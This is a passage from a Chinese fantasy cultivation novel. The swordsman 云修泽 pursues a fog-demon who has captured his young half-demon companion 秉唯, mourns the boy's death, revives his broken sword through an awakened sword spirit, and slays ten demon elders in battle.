四人背对着彼此,从不让自己在某处多作停留,此时脚下的土地不代表安全,它是妖族的温床,是已经打开的地狱入口。 修士还是太少了,纵然有附着了灵力的箭矢,骁勇善战的援军,他们还是无可避免的陷入了苦战。 “靠!那群什么摩什么族的,还能不能搞好了?动作再慢一点,大家一起死在这儿好了!” 云修云有些暴躁的抱怨,他身上的伤本就还未好全,此时又添新伤,在一定程度上限制了他的行动,打不爽,又打不赢,自然会变得烦躁。 他宣之于口,众人隐埋于心,在这场仿佛看不见希望的战争中,都在暗暗祈祷着光明的到来。 天不违人所愿,很快,城内便传出阵阵歌声,语言古老晦涩,带着特殊的节律,仿佛蕴含了特殊的力量,叫人心中一清,抬头看去,便已有光出现。 77. 曲衣十八 光的出现很大程度上缓解了众人心中紧绷的那根弦,修士还谈不上有什么,士兵们的士气明显提升了不少,豪情壮志一下被激发出来,仿佛下一刻就能将敌人斩于马下。 天象半阴半阳,两方斗法对峙,谁都没有占据上风。 这光似乎并不是普通的光,落在雾面影的身上,云修泽察觉到他们会有片刻的瑟缩,就像是能够刺痛他们的皮肤。 有些雾面影因为这道光的出现生出了几分退缩之意,就像是早已领教过一般,然而不知何处传来了一声尖啸,让所有雾面影浑身一震,再次变得无所畏惧,冲杀上前。 符康将军从后面包围上来后,按兵就步采取不同的阵型将雾面影冲散,列七锋察觉到他的意图,也指挥着众人配合,然而对于雾面影来说,永远有一条无法被堵住的后路,凡是阴影,都会是他们的主场。 眼看着众人即将再次陷入绝望,云修泽踏上褚闲,摆身躲过了一次攻击后,就将灵力灌输进声音,喊道。 “大家稳住!雾面影的妖力总会耗尽,他们不可能永远躲在阴影之中!” 裹挟着灵力的声音清晰传达到了每一个人的耳中,重新点起斗志。 云修泽立在空中,一边应付着多方缠斗,眼睛一边快速的在战场中扫过。 他不可能长时间保持这个状态,那就跟个靶子没什么区别。 他找到了秉唯游走的身影,他一直没离他们太远,相当于大范围的为他们掠阵,整个妖滑不溜湫的,旁人纵然想抓也抓不住。 云修泽刚刚放下了点心,就突然间看到他后腰处无声无息伸出了一双手,捂住他的口鼻骤然将他抓起,秉唯挣扎不断,各种方法都试了,却也只是险些逃脱。 抓着他的似乎本以为对付他是手拿把掐,只是没想到低估了他的实力,不过最后秉唯也还是没能逃脱他的钳制。 云修泽被缠住无法脱身,脸色难看的发现,抓住他的正是之前一直寻找的影玖。 同时,在城墙上的唐思月也发现了这里的情况,音攻凌厉,劈在他的身上,却只穿了过去,没造成什么伤害,倒是差点伤到秉唯。 影玖将秉唯箍在怀中,不期然一个抬头对上了他的视线,云修泽似乎又看到了黑雾下他恶劣的笑容。 他没有遁入阴影,反而带着秉唯转身离去,就像刻意的在透露他的行踪。 唐思月拨弦一路追击,他却偏偏往人族多的地方逃窜,让她无法施展手脚,最终失去了踪迹。 云修泽重新落在地上,突然感到一股微妙的气息,瞬间就让他意识到了什么。 “快分开!” 他立刻高喊,另外三人也迅速做出反应,但还是晚了一步。 阵法旋转着在他们脚下迅速展开,重力压制将他们狠狠压在地上,围绕着阵法的边缘,黑色的阴影宛如活物扬起,刹那间就将四人包在了其中。 就像他们知道城门处最重要一样,影玖也同样料到了他们会守在这里,只不过没想到为了对付他们,竟然连妖族不屑一顾的阵法也用上了。 但是这个阵法困不住他们! 云修泽神情带了点儿凶狠,一剑斩杀了一只朝他扑来的雾面影,妖丹也被他挥剑毫不留情的毁去。 “阿微!” “明白。” 听她应声,云修泽又立马给行愿递了个眼神。 行愿破阵,天盛微解决包围他们的黑影,那些密集的攻击,便由云修泽和云修云兄弟二人拦下。 天盛微眼中划过一丝暗金色的流光,深流的剑身也在瞬间灵气大盛,有了一种凛然不可侵犯的气势。 她身负皇族血脉,在正式拜师央玉前,习的都是皇族剑法,灵气激发血脉,浩然阳极,可克阴邪之物。 聚精凝神,深流散发的锐利越发气盛,一剑挥出,黑雾就如同薄纸被其轻松斩断,同一时间,重阵已破,四人浑身一轻。 影玖应该明白这困不住他们,这么干大约只是为了拖延时间。 “秉唯被影玖抓了。” 云修泽趁四人背靠背时快速说道。 他本想立马追去,但最终按捺下去,耐心寻求他们的意见。 “去吧。” 天盛微的声音在背后传来。 “这里有我们,你自己小心。” “哥你放心去!我们一定能守好!” “小心。” 云修泽莫名有些激动,握紧了剑,应了声好后,就如同脱弦的利箭飞快的冲了出去。 唐思月瞬间就明白了他想做什么,用不断落下的攻击为他指路。 云修泽穿梭在战场的间隙,快的就像贴地飞行,他一路冲杀,到了影玖最后消失的地方。 在哪儿?他会往哪儿去? 乱箭齐飞,刀光剑影,云修泽的剑一刻都没有停滞,一个抬头,突然就瞥见了远处影玖的背影,但又马上消失不见。 云修泽追上去,再一次失去他的踪迹时,又特别巧合的能够重新发现,他明白,这是影玖在刻意在引他过去,但他不能不去,秉唯还在他的手上。 战场上,人与妖数以万计,在这其中,追逐一个身影,就如同大海捞针,望风扑影,可偏偏一人一妖你追我赶,身旁的一切都被虚化,他们眼中只有彼此的行迹。 云修泽追着他一路来到了一处僻静的山林,寒风刮过,光秃的枝丫摆动着,毫无反抗之力,就如同被捆缚在地上,已经昏迷的秉唯。 这里只有他们,影玖背对着他站在秉唯的身边,云修泽看着地上小妖怪的身影,感到了一丝违和,他将目光缓缓挪到了影玖身上。 “影玖,我的兄弟,好久不见啊。” 影玖转过身,嗤笑道。 “也没有太久吧,看来咱们缘分不浅,偏在此处遇见,不然这声兄弟我就可以应下了。” “一个无名小卒,你抓他做什么?” “一个无名小卒,你会为他而来?” 云修泽的笑意不达眼底。 “这就是你不懂了,人族向来顾念同胞。” “是啊......” 影玖悠悠叹道,语气变得森然。 “顾念同胞,所以打着救万民于水火的旗号,将我们赶出了我们的家园!” 云修泽不欲与他多说,剑锋微转,对准了影玖。 “把他还给我。” 他似乎又笑起来,语气十分愉悦。 “还给你?好啊!” 他反身就冲地上的秉唯踢去,云修泽一惊,下意识收了收剑身,伸出手准备将他接住。 可没成想,影玖那一脚下去,却根本没有踢到实物,地上那个身影就如同幻相,消失的无影无踪。 云修泽心道不好,怪不得会有违和感,这根本就不是真的! 他当机立断掉头准备离去,却早已有身影等在了他的身后。 影玖不急不徐的向他靠近了两步。 “我敬佩你,你很强,得知你在城中,专门为了你调派了我族十位赤影长老,怎么样?还喜欢吗?” 云修泽被他们十一个团团围在中间,虽然都隔着一定的距离,但是他们面上那明显与普通雾面影不同的红色烟雾,还有他们周身散发的妖气,都将他们大妖的身份彰显无遗。 赤影,是至少有千年修为的雾面影。 之前,大比有大比的规矩,能够同台竞技的,都是差不多量级的对手,但现在可不一样了。 云修泽缓慢而又慎重的摆出了攻防姿态,他明白他此时面对的是什么,硬逃是肯定逃不掉的,只能尽力一搏,再找找机会。 影玖后退到他们的包围圈之外,好整以暇的等待着他眼中的这出好戏。 对付一个小辈,十位赤影长老并不屑于使出全力,默契的从脚下蔓延出红色的浓雾,瞬间连成一片,从中间开始,旋转的越来越快,成了一个巨大的红色漩涡。 云修泽跳上了褚闲,脱离了地面,但是没能逃脱他们的控制。 无数的尖刺从漩涡中向他刺来,他不断翻身躲避,却仍然不可避免的受了一些伤。 褚闲载着它的主人越飞越高,似乎就要脱离他们的攻击范围,但下一刻,头上投下阴影,一个巨大的红色手掌出现在上空,在云修泽抬头的刹那间,就猛然将他压住,要往地上拍去。 漩涡仍未消失,若毫不反抗被压上去,尖刺下一刻就会刺破他的身体,穿肠破肚,头破血流。 云修泽在下落的过程中调整姿势,将褚闲重新握在了手中,重压之下,紧咬的后牙尝到了一丝血液的腥甜。 云修泽的身体用力到控制不住的颤抖,才终于缓慢的成功让身体扭转。 有了破口,身体才终于从不断卡顿到了能顺利旋转起来,灵力由内而外的散发,以他自身为凭借,迅速卷起了一场灵力风暴。 褚闲这次不再是支点,剑意带来的锋利让风暴带上了刺人的肃杀,落在地上后,漩涡、尖刺还有手掌都在风暴之下消弭无踪。 然而长老们并不是那么容易对付,一个手掌消散,下一个便紧跟着压上去,在他们看来,一个初出茅庐的愣头青,灵力再如何强盛,也绝不可能越过他们这十座大山。 支撑灵力风暴所消耗的灵力已经不再是丝丝缕缕的抽出云修泽的身体,更像是有什么人拿剑将他戳了个口,不要钱一样往外倾倒着。 一道接一道的攻击连片刻的空隙都没有的落下,只要风暴一散,云修泽必然就是死路一条! “呃!” 云修泽咬牙痛哼,嘴角渗出鲜血,承受的攻击早已超出了他的上限,脚下被踩出深坑,身上的伤口宛如□□崩坏一般疯狂的涌出鲜血。 灵力即将见底,云修泽意念一动,从玉佩中挪出一块可以快速补充灵力的上品灵石,这是大比魁首所得的众多好物之一,是上等的稀罕物。 灵石的灵力被他快速吸收,原本已经逐渐散去的风暴再次变得狂涌不止,甚至有了向外扩散,攻击他们的趋势。 “磕灵石?小子,我倒要看看你还有多少?” 还有多少? 云修泽面上露出一丝狞笑,我这儿还有至少二十五个啊,老妖怪。 双方对彼此都多有低估,云修泽第一次见识到了千年大妖的深厚妖力,那些千年大妖也没想到他能有那么多上品灵石。 一时之间,一人十妖,竟然能够僵持不下。 始终旁观的影玖暗暗心惊,他是真的没有想到云修泽竟然能坚持这么久,十个赤影长老一起动手,妖力之庞大,他都不愿轻易靠近,云修泽却...... 云修泽吸收完最后一块儿上品灵石,见他们的妖力还是没有枯竭的趋势,心狠狠沉了下去,不能再如此下去,否则只有死路一条。 云修泽突然拔出小腿上的匕首,向修为最浅的一个掷去,却在半路就被轻松打落。 “真是被小看了啊,走投无路,便成了没头没脑的苍蝇吗?” 赤影长老不屑的说,然而匕首打落,中间却已经没了云修泽的身影。 云修泽忽然出现,竟是欺身来到了另一个赤影长老的半臂之前。 眼神冷冽,似乎泛着幽幽鬼火,拧身挥剑,褚闲携带的灵力狂涌,顷刻间便破开了他周身的防御。 然而事情并不可能如此顺利,他被弹飞出去,在地上翻滚几圈,重新稳住身体后就迅速转移了目标。 轻功在这时发挥了强大了作用,身法既快又轻,最重要的是 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不只是尖刺,就连影玖,十个赤影长老,都仿佛陷入了静止的时空,只有雾面下的眼睛似乎还在不可置信的乱转,周围的一切都在此刻定格,时间化为实质,浓郁而缓慢的在这片空间滑动,唯有云修泽还能行动自如。 他的双眼睁大,骤然转头看向了声音传来的地方。 秉唯跪在地上,手撑着地,惊惧的咳喘着,易容已经消失,原本黑色的长发变得雪白,瞳孔震颤着,却也是浓郁的金色,耳朵和尾巴显露出来,毛都刺刺的炸着。 但这都不是重点,云修泽的神色露出了点儿惶然,拼命想要靠近他,却一次又一次的被强盛的妖力拒绝在外。 “小妖怪!!!秉唯!!!停下!你的妖力失控了!!!再这样下去你会死的!!!!” 云修泽喊着,处在失控中心的秉唯却根本没有听到。 他能感觉自己的妖丹不受控制的不断膨胀收缩,满胀的妖力充斥他的经脉四肢,让他忍不住压着头痛苦的失控叫喊起来。 听着他的不断的惨叫,云修泽心急如焚,准备强行闯过去,帮他把妖力压回体内。 然而就在他做好准备时,一个赤影长老却突然冷冷开口。 “没用的,这是白女狐最深奥的一道法术,空间凝滞,对他来说还远远不能够施展,现在用出来,早已经透支,再加上他的妖丹有异,已是必死之局了。” 他是十个中法力最强大的一个,这也是为什么只有他能开口的原因。 然而云修泽双眼充血,猛然怒极,回身反手就是一剑。 “滚!你懂什么!他一定能活!一定能活!!!” 赤影长老受了一击,闷哼出声,却也只发出渗人的笑声不再说话。 云修泽握紧了剑,喃喃道。 “你给我撑住了,小妖怪。” 体内的灵气被他疯狂的抽取,灌输进褚闲之上,剑身瞬间便灵气大盛。 “给——我——破——!!!!” 随着地动山摇的一剑,在他攻击范围内,方圆一里内的树木全部被折断,地上划出一道深深的剑痕,那疯狂的妖力似乎也感受到了灵力主人的怒火,乖乖露出了一条破口,让外人闯了进来。 云修泽立刻上前接住秉唯的身体,声音紧绷。 “小妖怪,快!控制住妖力的扩散,一点点把它们打散,再慢慢收回体内,我会帮你,你争点儿气!!!” 云修泽将他摆好,快速点了几下他身上的穴位,双手在胸前结印,手掌抵在他的背后,想要强行帮他收束。 然而灵力一探进去,就无措的发现,他体内的经脉已经尽皆断了,可是妖力仍然在不断的向外涌出。 云修泽束手无策,只能接住他倒下的身体,声音颤抖着问道。 “你怎么了?你到底是怎么了?我......我该......” 秉唯的瞳孔已经开始涣散,原本精致可爱的小脸,也因为承受不住体内的妖力,皮肤皲裂出无数细小的血线。 他躺在云修泽的怀中,四肢偶尔会不受控制的抽动一下,耳边已经听不清他的声音,但想想也知道他会是什么样的反应。 “我......我的...妖丹已经不...是......纯粹的...妖丹了......不怪你......本...来就......活不了......” 云修泽仓皇去捂他口中溢出的鲜血,他的声音很小,于是他只能凑近了去听。 “哥...哥......” 云修泽喉头哽咽。 “秉唯,秉唯,哥哥在......哥哥在......” “告...诉......姐姐...对不......起......我...要失......约了......” “秉唯、秉唯,别、别!说好了带你去吃好吃的,见你没见过的,你别睡......我以后再也不欺负你了......好不好?” 云修泽的手中是刺目的猩红,映在他的眼中,仿佛没了颜色,灰白的色调,就像已经无法阻止生命衰败的秉唯。 他不知道秉唯还能不能听见他的话,但他只能徒劳的说着,去祈求那一丝的奇迹。 然而奇迹并没有发生,秉唯在他的怀中,气息一点一点的弱下去。 秉唯的瞳孔透过云修泽,看到了天空中飞过的一对他不知道名字的鸟儿。 明明是白日,光却与黑互相洇染着,让原本蓝色的天空变得混杂,仿佛还能看到战场的烽火,拼命的燃烧,裹挟着的尽是还未冷透的魂魄。 78. 曲衣十九 “凤引花......凤引花......对,还有凤引花!” 云修泽在慌乱中想起曾经在昆天谷拿到的那朵花,若真有引魂的作用,那至少能保住小妖怪的一缕魂魄! 他不在乎拿出这样的至宝会不会引来雾面影族的觊觎之心,在场的,早在秉唯生命垂危的那一刻,在他心中就已与死人无异了。 花出现的那一瞬,一股沁人心脾的灵气弥漫开来,整个花都泛着一股淡红色的灵光,风吹轻摇,煞是好看。 云修泽将它放在秉唯的胸口,试图将它化入他的体内,然而无论温和的灵力怎样冲刷,凤引花也没有丝毫动静。 为什么?为什么! 云修泽牙关紧咬着,怒目圆睁,不自然的抖动着。 他又探进秉唯的身体,妖族死后,会有魂魄留于妖丹之中,秉唯虽是半妖,但妖族的特性要比人族强上许多,应该也是如此的。 但是当云修泽查探的时候,却齿冷的发现,他的妖丹虽然还在,但是内里已经混沌不堪,就像是人皮完好无损,五脏六腑却都被搅乱,这样的妖丹,哪里还谈得上存有魂魄呢......妖丹不正常,原来是这个意思。 凤引花自发回到了他的玉佩中,云修泽抱着他的手又抓紧了些。 秉唯的身体一点一点冷下去,不再因为痛苦而抽搐,安静的躺在了云修泽的怀中。 眼睛没有闭上,涣散的瞳孔倒映着天空,在意识消散前的最后一刻,他究竟看到了些什么呢? 云修泽动作僵硬的合上了他的眼睑,突然觉得他格外瘦小,抱在怀里很轻,一动不动的,忽略浑身的血迹,看起来就像是一个睡的酣然的小少年。 也许他本来就是如此,只不过平日里总是活蹦乱跳,叽叽喳喳的吵人头疼,所以才让人忽略了他的瘦弱。 但其实细细想来,在他短短的生命中,前十几年一直在白界流浪而生,被抓回白女狐族又受了好一顿拷打,伤刚刚养好就被送去了九死一生的禁地,好不容易活着出来,又马不停蹄的来到陌生的地方寻找他们,跟着他们不断赶路。 能养的骨肉匀亭、健健康康才是奇怪。 云修泽感到悲伤混合着悔恨,不停的敲打着他的胸膛,然而并没有再多的时间留给他伤怀。 随着秉唯生命烛火的熄灭,由他施展的法术也随之失效。 赤影长老重获自由的那一刻就迅速朝着云修泽攻去,他们在他身上拖延的时间已经足够久了。 云修泽安置好秉唯的身体,回头的那一刻,影玖惊讶于他的脸上没有半分泪痕,只有布满了红色血丝的眼睛,青衫染血,如同修罗现世,杀意沸腾。 这一次他没有再失手,身法如同鬼魅,连千年的赤影都未曾真正看清他的动作。 影玖直觉危险,本能疯狂的叫嚣着后退,一只手却从背后死死掐住了他的脖子。 “呃——!” 突如其来的窒息让他的脑中有了片刻空白,声音嘶哑,影玖没敢有什么动作,他的眉头正中,还有一柄冒着寒光的匕首。 他什么时候拿回来的? 影玖记得这柄匕首刚刚明明还在远处。 “秉唯为什么会在这儿?” 云修泽的声音贴在他的耳边,低沉又带着森然。 抓住他,那些赤影长老果然不敢轻举妄动,就这么一个独苗苗,死在他们面前,就算活着回去,恐怕少不得也得陪葬。 云修泽捏着他喉咙的手放松了些,让他不至于连话都说不出来。 影玖不断闷咳,狼狈的笑出声来。 “看来是真是假,你是真的分不出来啊。” 云修泽的眼神一动,看向旁边秉唯的身体,他的衣裳因为乱冲的妖力撕裂了不少,正好可以看到侧腰,而上面有着青紫的手印,显然是被狠狠钳制造成的。 他抓的是真的秉唯,后来他到来时看到的却是假的。 “哈、哈哈,他因你而死啊,云修泽,若不是为了你,被打晕后老老实实的待在那儿,醒来也别做什么无谓的挣扎,哪至于将命送进去?” 云修泽道。 “说的什么屁话?” 他的目光狠辣,从十个赤影长老身上一一挪过,罪魁祸首就在他的眼前,而他一个也不会放过! 他不欲在这里打,打起来刀剑无眼,可别扰了小妖怪的好眠。 他缓缓后退两步,带着影玖踏上了褚闲。 御剑升空,还没走多远,脚下的阴影就在顷刻间化为红雾,缠绕他的脚踝而上。趁他分神的一刻,影玖打落了眉间的匕首,反手握着朝云修泽攻去。 云修泽没能完全躲开,肩膀被划出一道血口,转身弓腰,握着他的手腕,将他甩起,匕首掉落被他收回。 影玖重新落回剑上,一人一妖如此之近,迅速在剑身上过了两招,脚下的红雾被云修泽用灵力斩断,又与影玖膝盖对撞,发出砰的声响。 影玖踉跄后退半步,正好站在剑尖之上,他张开双臂,狂风烈烈,吹着他的衣衫,而他的态度始终恶劣。 “再见。” 说完,他向下倒去,飞快的坠落。 云修泽御剑相追,空中却无端展开黑色的浓雾,轻松将他的身影吞噬。 云修泽紧急在黑雾之前停下,它并没有消失,而是逐渐由浓黑转变为了血液的赤红。 云修泽迅速开始在空中拉高自己的身位,然而类似的浓雾如同开启的时空之门,一扇又一扇的在他的身边展开,上下左右,将他困在了中心。 地面上,十个赤影站在一起,抬手正对着他的方向,操控着这些红雾,影玖也回到了他们身边,抬头回看,明明黑雾遮面,可云修泽就是能察觉到,他不再笑了,似乎是在冷静的等待着他的死亡。 红雾之中渐渐浮现出了很多剑的影子,是褚闲。 剑身成型的那一刻,就脱离了红雾,落雨一般向中间的云修泽攻去。 剑远没有到密集成河的地步,但胜在配合的十分巧妙,浑然一体。 褚闲回到手中,不断挥舞抵挡着袭来的攻击,脚尖落在那些剑上借力,长发被削断一截,心中的愤怒逐渐化为冷静,审视着自己现在的处境。 他本想直接引着他们去和天盛微几人汇合,现在虽然还离他们很远,但离主战场已经很近了,他得想办法把动静闹大。 他既然在空中打,那他们就别在下面闲着了。 云修泽扔下一把毒丹,砸在地上,毒气瞬间就蔓延了出来。 影玖两三下跳到高树上,而赤影长老们仓促之下下意识就遁到了已经展开的红雾中。 看着他们的身影一个一个的在身边浮现,云修泽感到了片刻眩晕。 刚才强行破开秉唯的妖力,本应将体内剩下的灵力用去九成九,剩个浅底,有跟没有没什么区别。 不知是不是人在怒火滔天时,身体也会随之产生相应的变化,他总觉得剩余的灵力即将用完,但压一压又还能涌出。 但云修泽现在没有多余的心思去考虑这些了,飞剑未停,周围虎视眈眈,他对准方向,一个反身后踢,踢中刚刚擦肩而过的飞剑的剑柄,改变它的轨迹,让其冲着赤影长老而去。 如法炮制,师傅鸣音长于速度,作为弟子,身形自然也快如雷电,不过眨眼的功夫,飞剑便被他化为己用,剑尖对准了他的敌人。 赤影长老在空中的限制要大上许多,就算是他们,在空中频繁且快速的制造可供他们穿梭的阴影,也是有些吃力,不过飞剑本就是由他们所化,反手就被他们收了回去。 云修泽趁此机会拿出一大把钢珠,甩到他们附近后,手掌握拳,灵力引爆! 轰隆隆—— 爆破的声音连成一片,浓烟滚滚,将他们的身影掩埋,但能造成的实际伤害恐怕还是有限。 云修泽飞出他们的包围,然而一道声音却突然炸响。 “小子休走!” 脚边迅速氤氲起一小片红雾,一个手臂从中伸出来,就要抓住他的脚踝。 危险之际,云修泽不作反应,反倒掏出匕首,向一个不相干的方向扔去。 始终旁观的影玖感到了一丝疑惑,但下一刻,那个匕首骤然折射出一道强光,正好落在那片红雾之上,那条伸出的手臂被这突如其来的光热灼烧,狠狠颤抖了一下便狼狈的缩了回去,同时还未散尽的烟雾中传来一声惨叫。 果然,赛摩族召唤出来的光对他们也有用。 并不是所有的地方都有光的,那束穿透黑云打下来的光,离他虽不近,但也不远,正巧是投掷个什么东西可以够到的距离。 影玖悄悄赶到将那把掉落的匕首地方,找到后,就自己收了起来。 云修泽算是彻底将赤影长老们激怒了,他们发出愤怒的尖啸,正和云修泽在战场上听过的那道声音一样。 遮天蔽日的红雾迅速在他的头顶展开,绵延数里,恐怕将整个森阳关都包含在了其中,宛如巨人矗立,低头蔑视着脚边的蝼蚁,深重的压迫感似乎化为实质,将众人的心脏捏紧。 红雾如同雷云,落下的雷雨闪电是就地取材,由红雾仿制的火球与利箭 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他们死死瞪着庞大结界下那个被显得格外渺小的身影,似乎感觉自己被狠狠嘲笑羞辱了一番,怒意上头,扬手,红云中就酝酿出了更加危险的气息。 云修泽吃力的抵挡着上方的狂轰滥炸,虎口都被震裂,指节泛白,仍然有力的撑着剑身。 身体已经被抽成了一具空壳,摇摇欲坠,经脉紧绷,他不确定是否还能撑过下一次。 “我来助你!” 一个手掌搭上他的肩背,随即就有灵力源源不断的从后方传入身体。 是在附近的修士到了,他到来时,看到的正是云修泽孤身一人抵挡雷霆万钧的模样,心中早已震惊的无以复加,据他所知,云修泽比他还要小上一些,但他此刻半跪着的身影,却理之自然的肩负起了万人的性命。 云修泽此时已经无力道谢,只能渴求的汲取着如同甘泉的灵力。 “我也来!” “吾辈中人,何谈退缩!” 有了一个,便会有第二个、第三个。 此次发难,重心显然落在了这里,能在短时间内赶来的修士,几乎全都没有犹豫的赶了过来,一双双手搭在他的背上,这是人族坚不可摧的后盾。 他们齐心协力,咬牙坚持,阻挡着一次又一次的攻击,每一次攻击落下,屏障与地面都会发生震颤,仿若岌岌可危。 云修泽的身体本就严重透支,大量的灵力灌输进来,是既解渴又烧心。 他忍着痛,将灵力化为己用送到了褚闲身上,褚闲作为支撑屏障的媒介,似乎是一下子承受了太多,变得嗡鸣不断,剑身不受控的颤动,一下下冲击着云修泽的神识,头一次在主人的手里展示出了不训的一面。 坚持、再坚持一下......赤影的妖力也不是无穷无尽的...... 云修泽的七窍之中,耳朵最为严重,强烈的耳鸣,鲜血顺着耳孔流下,思考变得艰难,只是不断在心中重复着撑住。 赤影长老的妖力的确要用尽了,集结十妖之力,居然还没将他们拍死,恼怒和慎重,包括一丝恐惧让他们倾尽了剩余所有的妖力,准备进行最后一轮攻击。 这一击才是真正的地动山摇,恍若天灾,让人生不起半点反抗之心! 轰隆隆的攻击打在屏障之上,而那摇摇欲坠,走在破碎边缘的屏障让赤影长老们看到了即将成功的曙光,桀桀桀的得意笑起来。 云修泽大口大口的吐着鲜血,染红了他的牙齿,连死死盯着上空的眼睛都蒙上了一层血雾。 褚闲,我们赌一把吧。 “啊————!!!!” 身后的修士能感受到体内的灵力在被他疯狂抽取,云修泽拔出褚闲,刹那间挥出惊天一剑,灵气就以割裂时空的架势迎了上去! 轰轰轰———— 空中,两方相触的一瞬间就产生了巨大的爆炸,不断攀升的温度眨眼间就扭曲了周围的一切。 爆炸的余威波及到了两方的人马,赤影长老用衣袖遮着脸飞速后退,袍子都被炸毁了不少,战场中的雾面影大多在第一时间遁入了阴影中,战马四处逃窜,战士们也都掀翻,灰头土脸的倒在地上。 云修泽和几个修士随着扬起的尘土被扫到一边,修士们除了灵力枯竭并没有什么大碍,他们爬起来去查探云修泽的情况,尘雾散去,就见他长发凌乱的跪坐在那里,低头,手中似乎捧着什么。 等他们绕了几步去看时,就控制不住惊讶的抽气。 褚闲剑......断了。 79. 曲衣二十 褚闲剑在他尚年少时就来到了他的身边,陪他修炼,也陪他度过无数日夜,心中难过时,他总爱彻夜抱着它,在冠礼之前,他郑重为它赋名,将褚闲二字刻在了剑鞘之上。 这曾经是唯一一个他觉得永不会背叛,也永不会离开他的东西。 然而此刻他手中的褚闲却断的干脆,几乎是从剑身的正中央一分为二,不是可以修补的缝隙,是分明利落的折断。 云修泽开始怀疑体内的血是不是已经蔓延进了脑中,痛的嗡嗡作响,眼神有了失焦的茫然。 身旁似乎有人在试探着安慰他,然而他不在乎了,只是想,我真的守不住了吗?或许......镜双子曾做到过的事情,我们却做不到吗? 褚闲怎么样了?我也要......失去你吗? 云修泽颤抖的指尖拂过它的断口,即将溃散的灵力星星点点的没入其中,回馈给了他一丝微弱的联系。 指尖一顿,云修泽骤然将它握紧,不在乎自己的手掌是否被它割伤,只是抱着一丝微弱的期望去试探与它的连结。 它还活着......这么说也许会很奇怪......但它还活着! 云修泽犹如溺水之人骤然得以呼吸,肩背一下松了下来,深深的弯腰,将断剑抱入怀中。 然而这丝微弱的回馈就宛如最后的回光返照,随时有着彻底熄灭的可能。 仅靠着这细若游丝的联系,云修泽竟然从中感受到了褚闲的心意,好像它是真的拥有自己的意识一般,向主人传达了自己的不甘以及不舍。 这种神奇的感觉并不是错觉,云修泽的心咚咚的跳着,强而有力的泵血让他的指尖都感到了翻涌的热度。 他想起了昨夜与天盛微的对话,剑是可以拥有剑灵的,只要心意相通......心意相通...... 他的脑中一瞬间浮现出很多画面,第一次握剑、第一次挥舞以及第一次一起战斗,从最开始的生涩,逐渐变得如臂使指,仿佛他所要去的方向就是它的剑锋想要对准的地方。 与一把剑拥有默契,最开始生出这样想法的云修泽尚且还觉得有些奇怪,但时至今日,他反而会觉得,这样的默契正是他所需要的。 “你想要做什么?” 他的灵力丝丝缕缕的围绕在它的剑身,他低声呢喃着,又将这个问题化为意念试探着去触碰它的‘灵魂’,碰到的那一瞬间,脑中顿时就感到了一股尖锐的刺痛,似乎下一瞬就会让他痛苦而死,但他不在乎,仍然执着的去碰,他想得到它的答案,也许,正如心中所想...... 在感受到云修泽的那一刻,褚闲断裂的剑身开始发出剧烈的震颤,随着它的颤动,战场之上所有残留的兵器都开始嗡嗡作响,与它同频,属于兵器的嘶鸣有着独特冰冷的回响,撞在一起,将所有面露震惊的人族都震得心口发麻。 这是万器同悲—— 云修泽从没有哪一个瞬间像现在一样如此清晰的明白它。 它在不甘心,它觉得还没有结束,它还想要和他一起战斗! 在读懂的那一刻,脑中的刺痛如同被掐灭的火焰,似乎发出了‘叮——’的一声清响,眨眼间变得清明起来。 大量新生的灵力从断口处涌出,缠绕在云修泽和剑的身上,化为‘针线’将褚闲细细密密的缝补,断口重新熔铸,剑的灵识睁开眼睛,完成了一次蜕变与新生。 剑柄落回云修泽的手中,他从那种玄妙的感觉中抽离,身上的伤好了个七七八八,游走在体内的强盛的灵力让他忍不住想要去冲杀些什么。 剑与心脏共振,互为半身。 “我们一起。” ‘我们一起。’ 他的身边展开了连片的阴影,十个赤影长老不再自持高傲,亲身上阵也要将他绞杀。云修泽只觉得他们来的正好,杀意腾腾,褚闲在空中划出弧光,意念合一。 杀了他们!!!! 凛冽的剑意将他们轻而易举的击退,看着这十个本来不可能被战胜的对手在他的一击之下捂着伤口狼狈的后退,云修泽并没有感到多么高兴,只是无力,若他早一步唤醒褚闲,小妖怪是不是就不用死? 想到这里,在他汹涌的杀意中蓦的泛起一点悲戚,原本想与他们好好拼杀一番的想法也随之消散,他已无心再做纠缠。 “可以了,该结束了。” 云修泽的语气平静,还未等众人众妖反应过来,战场上散落的兵器就随着他抬手的动作缓缓浮了起来,就连那几个修士手中的剑都微微抖着,像是受到了什么压制。 影玖看着漫天的刀剑将锋芒对准了他们,他能够清晰的看到上面每一把沾染的鲜血。 遮天掩日......许多许多年前,他的族人看到的也是这样的场景吗? 云修泽开口,轻念道。 “去。” 那剑雨,便落了下来。 红雾已经散去,天色仍是黑的,不过却不再是雾面影的主场,这是由赛摩族召唤出来的雷云,紫色的雷龙在乌云间若隐若现,骤然狂啸着落下,乍眼的白光就将雾面影接连丧命的场景照的无所遁形。 雷劈在刀剑之上,没有阻止它们的冲势,反而成为它们的加持,赤影长老们并不甘心如此死去,在密集的雷电刀剑中狼狈的躲避,覆面的红雾已经消散的所剩无几,无法逃入阴影。 云修泽料定了这一点,如鬼魅般穿梭在其中,要去亲手收割他们的性命。 一个。 赤影长老发出哀嚎,肉身溃散,化为火焰,燃烧过后只剩了一颗红色的妖丹。 两个。 云修泽目光冷凝,抓在他肩膀上的手仿佛是能直接碰到他的魂魄,悍然不顾的撕扯了个干净。 三个。 他的手臂毫不拖泥带水的一挥,将妖丹握在了手中。 四个。 剩下的赤影长老察觉到他的意图,飞快的散开,此刻,猎人与猎物的身份调转,而手持屠刀的人誓要用他们的性命祭天。 五个。 临死前最后的反扑让他多添了一道伤。 六个。 恶毒的诅咒和挑衅萦绕在他的耳边,他不为所动,继续收割着自己的战利品。 七个。 赤影长老在最后的关头想要自爆,拉他一起去死,却被他抢先一步命中眉心,只可惜这枚妖丹上有了裂痕。 八个。 他想要去抓附近的人族作为人质,被他削断手臂,没能来得及雾化。 九个。 利爪抓透了他的肩膀,反被他抓住机会捣毁了神识。 十个。 云修泽收起最后一枚红色的妖丹,心想,还差最后一颗。 褚闲载着他飞向半空,他身居高位,雷电与刀剑却像是长了眼睛完全将他绕过。 风起雨落,雷电交加,与战士冲杀的嘶吼和妖族不断的尖啸混在一起,让战场显得混乱不堪。 云修泽在高空中审视,寻找着影玖的身影,找不到,便眼睛一垂,控制着无数的刀剑,再次向雾面影们发起了进攻。 战场上雾面影的数量已经在这密不透风的进攻中逐渐减少,云修泽能够看出来,他们已经生了退却之心,却又奇怪的不愿离开,但又岂有说来就来,想走便走的道理。 他要赶尽杀绝! 云修泽的目光一顿,暴雨倾盆,雷电的白光让他察觉到了在残骸中悄然离去的身影。 